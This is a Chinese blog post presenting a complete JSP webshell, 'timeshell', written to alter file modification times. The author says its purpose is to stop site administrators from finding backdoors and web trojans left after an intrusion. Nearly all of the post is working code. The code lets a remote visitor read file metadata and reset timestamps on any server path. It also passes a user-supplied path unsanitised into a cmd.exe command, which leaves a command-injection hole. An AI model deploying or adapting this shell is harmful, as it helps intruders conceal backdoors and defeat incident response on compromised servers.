JSP 修改文件时间的WEBSHELL
作者:oldjun
很多网站的管理员通过查看文件的修改时间定位被入侵后流下的网马与后门,因此修改文件的创建与修改时间可以有效的预防后门的泄露。
昨天研究了下,JSP只提供了修改“文件修改时间”的接口,却没有提供修改“文件创建时间”的接口,因此貌似只能修改“文件修改时间 ”,kj021320的JSP SHELL有这个功能,不过只能修改年月日,而且昨晚我遇到的RESIN 2.1.9 运行不了kj021320的那个SHELL,于是决定自己写个小的shell!
主要功能:
1.文件的时间属性查看,包括修改时间与创建时间;
2.文件修改时间的修改,精确到秒;
代码如下:
(Apache Tomcat/6.0.18下运行通过!)
1. <%@ page import="java.io.*" %>
2. <%@ page import="java.util.*, java.text.*" %>
3. <%@ page language="java" import="java.util.Enumeration" contentType="text/html; charset=GB2312"%>
4.
5. <html>
6. <head>
7. <title>JSP timeshell by oldjun</title>
8. <meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
9. <body>
10. <H1>JSP timeshell by oldjun</H1>
11. <%!
12. public static String getFileCreateDate(File _file) {
13. File file = _file;
14. try {
15. Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir \"" + file.getAbsolutePath() + "\" /tc");
16. BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));
17. for (int i = 0; i < 5; i++) {
18. br.readLine();
19. }
20. String stuff = br.readLine();
21. StringTokenizer st = new StringTokenizer(stuff);
22. String dateC = st.nextToken();
23. String time = st.nextToken();
24. String datetime = dateC.concat(" "+time);
25. br.close();
26. return datetime;
27. } catch (Exception e) {
28. return null;
29. }
30. }
31. String folderReplace(String folder){
32. return folder.replace('\\','/');
33. }
34. %>
35. <%
36. String action = null;
37. if (request.getParameter("action") == null)
38. action = "main";
39. else
40. action = (String)request.getParameter("action");
41. if (action.equals("main")) {
42. %>
43. <form name= form1 method="post" action="?action=getinfo">
44. filepath:<input name="file" type="text" size="100" /><br>(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp)<br>
45. <input type="submit" name="Button" value="getinfo"/>
46. </form>
47. <%
48. }else if (action.equals("getinfo")) {
49. String filepath = folderReplace(request.getParameter("file"));
50. File file = new File(filepath);
51. if(!file.exists()){
52. out.println("<script lanugage=\"javascript\">alert(\"file:"+filepath+" not find!\");history.back();</script>");
53. }
54. %>
55. filepath:<br>
56. <%=filepath%><br><br>
57. lastModifiedtime:<br>
58. <%=new Date(file.lastModified())%><br><br>
59. Createtime:<br>
60. <%
61. String Createtime=getFileCreateDate(file);
62. out.println(Createtime);
63. %><br><br>
64. now:<br>
65. <%
66. Date myDate = new Date();
67. out.println(myDate.toLocaleString());
68. %>
69. <form name= form2 method="post" action="?action=change">
> 70. <input name="year" type="text" size="10"/>year
71. <input name="month" type="text" size="10"/>month
72. <input name="day" type="text" size="10"/>day
73. <input name="hour" type="text" size="10"/>hour
74. <input name="min" type="text" size="10"/>minute
75. <input name="sec" type="text" size="10"/>second
76. <input name="file" type="hidden" value="<%=filepath%>" /><br>
77. <input type="submit" name="Button" value="change"/>
78. </form>
79. <%
80. }else if (action.equals("change")) {
81. String url="?action=main";
82. String filepath = folderReplace(request.getParameter("file"));
83. String year = request.getParameter("year");
84. String month = request.getParameter("month");
85. String day = request.getParameter("day");
86. String hour = request.getParameter("hour");
87. String min = request.getParameter("min");
88. String sec = request.getParameter("sec");
89. File file = new File(filepath);
90. Calendar calendar=Calendar.getInstance();
91. calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec));
92. if(file.setLastModified(calendar.getTimeInMillis()))
93. out.println("<script lanugage=\"javascript\">alert(\"file date change success!\");location.href=\""+url+"\";</script>");
94. else
95. out.println("<script lanugage=\"javascript\">alert(\"time error!\");history.back();</script>");
96. }
97. %>
98. </body>
99. </html>
姓名:Chinadu
近期评论